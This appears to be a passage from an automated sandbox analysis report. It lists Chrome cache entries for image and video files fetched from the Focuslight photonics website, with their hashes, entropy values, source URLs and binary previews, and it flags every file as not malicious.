SSDEEP:	1536:izJg7zJgKmbPz97OzejCQ/VYnwJSqaM3wPLUp86uCju2xhl6rhPr7KRVd0b4QliG:KGXGDb5/ZOOSqzwPLqu6l6r5Vw5mv
MD5:	730E7FEF637B205C5D862060BC949AB1
SHA1:	42E341D1F1EC738736B79FDD3FD89F3DD3484AAF
SHA-256:	8BB8BE3B4B85FEFF68708EA2DB269F6448622BC07C22A864810F5B07419BCB01
SHA-512:	B17A3FF29FE1A566602525E7058FA408F9F9BB4B589312DF6A2488E95647BB7CF78049ECD8453BCEB57FB1686CB1056B64713CC61C31EE2852B93B9331722D1E
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2022/09/%E7%A7%91%E5%AD%A6%E7%A0%94%E7%A9%B6.jpg
Preview:	......JFIF.....H.H.....mExif..II*...........................b...........j...(...........1.......r...2...........i....................'.......'..Adobe Photoshop CS3 Windows.2022:09:05 16:18:51.........................x...........R...........................................&...(...............................7.......H.......H.............JFIF.....H.H......Adobe_CM......Adobe.d...................................................................................................................................................G.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..0.$.9j.h...H0..S..>....../.K y..\|.h.Z$.}7..'...<1.rJG."..........$~......@...`jRcI."....[c.`....f.$...m.t.lLB.+...w&;.

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 44 x 41, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1328
Entropy (8bit):	7.794507545029101
Encrypted:	false
SSDEEP:	24:f8hwcS8msyXmEwnuC35AtXSo6G8Gf9HAzUShk/ickwD+WL5F1IHZ0o:kRbE8H5A5wGfhsC6ckwiWLXm50o
MD5:	358A3EBB8175B1CF84718F35D6F7CF72
SHA1:	39D3E85E45301793ED9CBCC8BAC0AE5B68DB5924
SHA-256:	CCD8E0096BD0BEEE2FF42666EF5AB64524D6EDDAC69E867DBBFEFFD1945C0E42
SHA-512:	A68430678D132488751385D6BAD713A3E017E12355464AF00BECF86F5613F74BE45C928EC6C8C2286AC46EE6DCF0B0A41A442ECB3B0942DB61A5575B64F89E7E
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/whicn2.png
Preview:	.PNG........IHDR...,...).....NI.....IDATX..X{.WE..V......43.X...&.(...$F.G..AYah..T.(.....^....T..mE.f..nn.)[.............;..n...g.9...3g.........t..........?..............".9....s..3.._..i...}.@#.M.~......p...f....t.......c..x..i.z.I.G....v..`.5.=Ard..W.\|..y.r.i..6.....L.....6\3.~O.A.+.~-.w.t...+W.._CrO...Gr...O..#sq...n,...$.....r.].......s.....2x..I...........3H~/...........J.n.......S....A.w...-c..w.Y.q)vyA...L.?_..r..k.;.....).F.!.....?...W....g./...l....4......? !....exU......(v.....T..cz.1.R...l.?YO../.`G=z.6...,..Q=..^.&0 i5b..:......r...o..q`?......+.....4=w.j'l.A$Oh3.6.....a.Jw...1a.r.p....^....`W.`#..f.&....^.k.....+..,6.~..G..l..g.\|.b.&7Q..T...\B...-.l.......J.#..../'._$.z...?"=w,...p..}zv..2UZ...:.uyZ%..:.....V..d...$....$'..U......;j...}?...$.R......j...{...2...oI....2-.!.$.s.4.. .$/..z.&.k.......i.7Ji.....t......\O.e..H...4.dd..n..k..g.....:.HI..Xh......A.I]0......_7<..W~0^yJ...^.P..7.^.n......V.-.r.........<.#.L2..B

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	dropped
Size (bytes):	371853
Entropy (8bit):	7.9758221564681
Encrypted:	false
SSDEEP:	6144:rJeCk+NMLx6myB5Ig24AtY7aREouv5bhKP+cvmXvN6GZvCkRFRDuRwN9pbt:rJ5b5mi5IXFGeTuvHKpmfN6GZvR4YTbt
MD5:	7015E498E58B0A5E684F40F598776A3C
SHA1:	93205BC560763F0575E664E46FADA4556301FF77
SHA-256:	475900EFB5D91B940DE13D95D364A146ADE40254B77367A48917664138DE996E
SHA-512:	6EAE4D7E42800ADDCDE1666455DF7FF469D17DE7B8B38CC3017A69E801B7661C0879338230F58504DF835A6CF06848EBFF04D895AD507E6DF9B9701109951259
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:39F03EA2424B11EF8DF2AFCC3E430E02" xmpMM:InstanceID="xmp.iid:39F03EA1424B11EF8DF2AFCC3E430E02" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d2e01895-66c5-7147-abde-16b3e1906578" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	dropped
Size (bytes):	248468
Entropy (8bit):	7.987183022806382
Encrypted:	false
SSDEEP:	6144:VgR3zjJKt71byJx2LHiZFETZMqmHp31goLNB7:V68jbyJx223ImF1gov7
MD5:	E9075FA2DBA7AB590EAFBC5BC1A3FDA3
SHA1:	4A97FCF2893BDFC5453116A3CB19FF2FF1711E05
SHA-256:	C57E993606F21002F13A6066D89ADB137081D1BB8215EBA65AD0C50EC5174B31
SHA-512:	806524A6A2F8FB32A9E33519C38884454888F0643BE488E93918292FA43908D6773DCE2F9A7B3340FF675458EBF6AD2335437CDCE8C77B801A1967537150E960
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:4A6E07BD424C11EEAAE4998848E90681" xmpMM:InstanceID="xmp.iid:4A6E07BC424C11EEAAE4998848E90681" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:85158cd0-7c42-bf40-9d3a-1fa0f6183361" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 98 x 142, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2478
Entropy (8bit):	7.479040415162674
Encrypted:	false
SSDEEP:	48:NMYLvnLL1teJ3Gm/K3eIX1uUy6/7DXVEqCqy0KAl:aYzDFm/K3e2NyYDWqCK3l
MD5:	C57AA5D82B0D2EFEEF01F5C89FFE6FA1
SHA1:	E5BBAE6DDAE7F592ACC4B58FF4D0A8D785D9A15D
SHA-256:	3D95581E67E91715E0DDE619D5915F797E73D67464A51E3D1FEC27528FE0940D
SHA-512:	62949E19045540E81411B6C04F0F0A84EA18FFD29361D8C75596224CFA073440070B3886FFB0A4DDE076049B042C744690D92366D8E91FE3C0E539FAA74235F0
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jgdtline.png
Preview:	.PNG........IHDR...b..........#......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:0B138F3E301011EDB549D0F8C9F9DB63" xmpMM:InstanceID="xmp.iid:0B138F3D301011EDB549D0F8C9F9DB63" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>~i;.....IDATx..Y..e..

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	dropped
Size (bytes):	212433
Entropy (8bit):	7.765993451695878
Encrypted:	false
SSDEEP:	6144:6+8BAjI4lZAnq8hMMKFgMuDiwY+jLZnRhLrEiatmLL7HJybnIjkLLLMJu8:6+8BR43Aq8mFi3ZIEJybn6d
MD5:	7539332C0613A3BC1E249C45F9AE4471
SHA1:	4AE708A880DDCD61353215486541C20E47DE9FFC
SHA-256:	FF37C402905B417E23A76A3DB34EB3B2529B8DBB90BA1E1EDA0C4E0199FE6CB4
SHA-512:	B3509CC552E949D0E9AE848135A6E647B6F6FA51DC9096985EC4921FBA3A899314112C601C4F3D0859DD60241E197716C0B23E510F54CF6F0169693F5A29B10E
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..n.(...(...(...(...(...(...(...(...(...(....)..:.ea-..(....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..(...)......)..ZAKV.(..La.Z(..E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.R...QE.(...(.....(.aE.P.E.P.E.R...(...QE.(..,.E.Q`.(...(....Q@..Q@..Q@..Q@..Q@..Q@..QE....(...QE.(..V...(...(...(...Q@X(.

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, progressive, precision 8, 1200x800, components 3
Category:	downloaded
Size (bytes):	290652
Entropy (8bit):	7.965575667499179
Encrypted:	false
SSDEEP:	6144:34eTKVAynWdlapJxQQ/QkknytX6OXWo39d9JqnLJp:34AaUapJF3XRzqnLD
MD5:	180216634B774C50335119219DEDC803
SHA1:	51DAA51760E30E0D265D734605590BE6DCDE7881
SHA-256:	2F27AD62E2361D51915A3068302949F960D20DD70F72D6013C8DD81D188AD207
SHA-512:	3B8C9FCC53E1521ECE603E3DAF3FBE7181CBD1E0026B475314B226E80171063D1DBF9A70F4DD5BE78B72126573EABB3B8640A40F31E65A515C71077C9D91C387
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2022/09/Optical-coating-3.jpg
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1254
Entropy (8bit):	6.424667262826903
Encrypted:	false
SSDEEP:	24:5+1hmYaWwh82lYSKwyaSSVSLtT3fyJ3V3ilSGXxqPH8OKKv:eMYLvnLL5SsLteJ3iSjPH8OKw
MD5:	45B995840A24E0525D3A774BCF2FAF7F
SHA1:	5FE13E720BDDB849C3ACD0E845733FE96BBC7BD3
SHA-256:	B173EF1CF314C8ED0F8DD575679F4A8E925D082543AFE75A98E68B17E91823BF
SHA-512:	D919E9E71AE9593F835D0CCE310BBC7686E1D558D8DAA8BC803C31B6592E0E016BA934EB2772A949CBCE8E3B6A8CA66CB973390A95A6FD86C3ACFB327AA0E507
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jtlered0.png
Preview:	.PNG........IHDR................W....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:AFED440512DC11ED9E8AECD4F9D425D5" xmpMM:InstanceID="xmp.iid:AFED440412DC11ED9E8AECD4F9D425D5" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57916a26-a5d7-0244-96ec-d990b5c02798" stRef:documentID="adobe:docid:photoshop:201ce05f-b649-e94f-9fc6-cad089f6b266"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>J../....IDATx.b...?.1@

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	downloaded
Size (bytes):	371853
Entropy (8bit):	7.9758221564681
Encrypted:	false
SSDEEP:	6144:rJeCk+NMLx6myB5Ig24AtY7aREouv5bhKP+cvmXvN6GZvCkRFRDuRwN9pbt:rJ5b5mi5IXFGeTuvHKpmfN6GZvR4YTbt
MD5:	7015E498E58B0A5E684F40F598776A3C
SHA1:	93205BC560763F0575E664E46FADA4556301FF77
SHA-256:	475900EFB5D91B940DE13D95D364A146ADE40254B77367A48917664138DE996E
SHA-512:	6EAE4D7E42800ADDCDE1666455DF7FF469D17DE7B8B38CC3017A69E801B7661C0879338230F58504DF835A6CF06848EBFF04D895AD507E6DF9B9701109951259
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/07/04%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:39F03EA2424B11EF8DF2AFCC3E430E02" xmpMM:InstanceID="xmp.iid:39F03EA1424B11EF8DF2AFCC3E430E02" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d2e01895-66c5-7147-abde-16b3e1906578" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	downloaded
Size (bytes):	131072
Entropy (8bit):	7.740000513517865
Encrypted:	false
SSDEEP:	3072:PPruNcWlu28x+k/drq5SD27tjawyt8fasq5Xxv2:3r8QxFQ5o27tjJyt8fb2Bu
MD5:	F6C2BFF77872CBB24F168729D12E59FA
SHA1:	8C6D3DACE42F11EE4C0F742D98869AB2D748DFF5
SHA-256:	CC0AF7F04256AF2FB9EAFE1993217DAD6E49FD3C363CF67D5ACC311E7940E7EC
SHA-512:	8EBC146D6BD3645831AD0B8E37B20A34BBF4E690667A50A314942AED7D6343FF3E2E32B3EB0CFFBBAC62331995BD23B24922B44B7D54FAC18D6C2E90369A85CD
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2022/12/Focuslight-Advancing-Photonics-Technologies-Around-the-World-1.mp4:2f94b8d73a7abe:0
Preview:	... ftypisom....isomiso2avc1mp41....free..~.mdat...q....m.E...H..,. .#..x264 - core 161 r3048 b86ae3c - H.264/MPEG-4 AVC codec - Copyleft 2003-2021 - http://www.videolan.org/x264.html - options: cabac=0 ref=1 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=2 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=0 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=0 threads=18 lookahead_threads=6 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=0 weightp=0 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=10 rc=crf mbtree=1 crf=22.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00.... 'e......=...g........................................................................................................................u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	6.5268517674796405
Encrypted:	false
SSDEEP:	24:5+1hmYaWwh82lYSKwya8Vyj/uVGej/hT3fyJ3V3ilSGgldTEMLFqhAk:eMYLvnLL10ruEerheJ3iSHdoMZUr
MD5:	2EB9533A66A7E88B7FC5FC13C10109BF
SHA1:	6A3227A3822BF25F2D8A101E3F1CFD55EC63DCB6
SHA-256:	4365F854873686C1B2B1D542D8A293B504836666C2BF7EC236215852A4B654AA
SHA-512:	993FA25CB6F5A19CC48483F820C29F02A2EF4EB57F148020EA3639CCA33EF28043B0DFCCCB2F622A34B22A77F6F7F201B9F58FC4371714766C8304CC9E6301E0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................W....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:2DB3B51712D911ED90A2908287A79A53" xmpMM:InstanceID="xmp.iid:2DB3B51612D911ED90A2908287A79A53" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57916a26-a5d7-0244-96ec-d990b5c02798" stRef:documentID="adobe:docid:photoshop:201ce05f-b649-e94f-9fc6-cad089f6b266"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>g......"IDATx.bd.....

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1721 x 732, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	239873
Entropy (8bit):	7.979201483831169
Encrypted:	false
SSDEEP:	6144:BE6cOEz64rBaFXEBfcigWgv558L3vYCXtDb:2/64rBs0Jcftvny3vYgtDb
MD5:	AC3E918B3BD0835D3A3B8527D678D92A
SHA1:	BE925D6CF7A15732DF2CF6011230AEF94902E05D
SHA-256:	A3E11E529958BECC12EC62DC4B9F64F64A0E4047BB44AA9AA170D0D3DAAEC914
SHA-512:	03B8CF4C0C8E309AE09E3013D9E31722F2364A5493A584171D14894D148EF2A251CD079C79309CF1FB0C38420291B463F0C1CD6B1637208B83652CA4639C1318
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/dtimg.png
Preview:	.PNG........IHDR.............S.......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:CFE09999123211EDA494FFEAA0CA2AA5" xmpMM:InstanceID="xmp.iid:CFE09998123211EDA494FFEAA0CA2AA5" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...s.I..

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 37, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	806
Entropy (8bit):	7.681040278395911
Encrypted:	false
SSDEEP:	24:wOPqnc24ro72uhwiKOuZQp/tgdXIswGGf/qT:wN4rW2owt+p//G4K
MD5:	ACCC816297DE17C5C042DFAFB5F0A5BE
SHA1:	DEE5E3612B04039E67ED74D2291D6075A70244F5
SHA-256:	3F286641DA7452C496BC2538E7B28B796A6B53877089B970C5477EF12FBB9C2D
SHA-512:	C7FB8E6A4DF1B700F4BCE8F8A070FBAC57B194421A648B72E5249FA4EEF398DCDC2F6F5359BFF981427F1A1551E84997DBB7D95EABD9F619493737EF1458F838
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/gwcicnred0.png
Preview:	.PNG........IHDR...(...%.....0`......IDATX..M.Ma...g\|...6..);.a6VDi.L>n)..X..25;..),\|.L..R.,..\|.;.CJ"."...........5.s....>.{._..<.y...y....x....m....s+...)../......."..$`..o!.v./.....S=....`...../..8...:.^8.l.M..{..S......)U.......}0...z...2W..S..<..x....q.O.P..;.~..(....>..x..n.N........2....B....pE..].#......tJU....s+.Y,...T{10. .E@...D.6.......5dW+...awL.,e....h.(]1...p....V;...)U..%-.....$.Q.....93........&.U7........if..n.W.`M....Y....Ab..@..._..?W...._..).n/GPI.3.[.M..i.....9DfI..3Iu..C..E...;...d.....V>...zp....V7..,...Y.PVS..i<(*...N..$s....V.Z..:3...?.[..F{5D$....8)..z0.}.QS'o..../@9S^.6....~.X.Dib0..`0.^&.../..k.)U;..,.GD.L...0...~]^t.r...}..2...}.=......Vbp......umR7...~..1.....kzE,.%.,....>G..H..!"..x...X.p...Y{.X....#..\.I{.'.{<."....!.fc.......IEND.B`.

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1962x1000, components 3
Category:	dropped
Size (bytes):	1127113
Entropy (8bit):	7.9861804791521935
Encrypted:	false
SSDEEP:	24576:6MOixrVF1nszRqnNqotkQKTBhBIehlDi6l:/3yUnNqoKFhBBh5i6l
MD5:	3C3AFF31EE64D1122C4A2E56CD635087
SHA1:	BDFC8E3C3A7B8E9448A0B9EF64A75CC96C461A0A
SHA-256:	7DE3A1035B82C7A8B7449E56C29DC86E549035D0E90DDDEA33043D4FD326E1A8
SHA-512:	522500BA0CFB95630FF1945DB6409DA83FBADA3F2370D2FE697707CE9EC9ACB951B268533E8524CB0A9B5117E2FE21A3BE49B108A71189757EE8A04A9E52BEB8
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1cf7e5b9-e2c7-9149-aa9a-a05e19af0542" xmpMM:DocumentID="xmp.did:575B156CBE5311EEB927DA8BF4CA521E" xmpMM:InstanceID="xmp.iid:575B156BBE5311EEB927DA8BF4CA521E" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d3ad26a2-b728-3a48-bdd9-49327b87db5e" stRef:documentID="adobe:docid:photoshop:9363f026-803a-9841-bb29-47b60314615d"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 37, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2115
Entropy (8bit):	6.943986617831177
Encrypted:	false
SSDEEP:	48:wp/6sMYL4knA9WIY+8s/c0mJw3mEHns/qa8N0Nj:QSJYkknmWIY+8s/QjEHns/ugj
MD5:	598DA10F749803894C068BD427E79181
SHA1:	868FFD5B5E65A0B3FB8E975440FDE52907444F20
SHA-256:	0AF81F268FE5FBD633BC19A220D23B7CDC7B6375C249DEE5EF63E038603D61FA
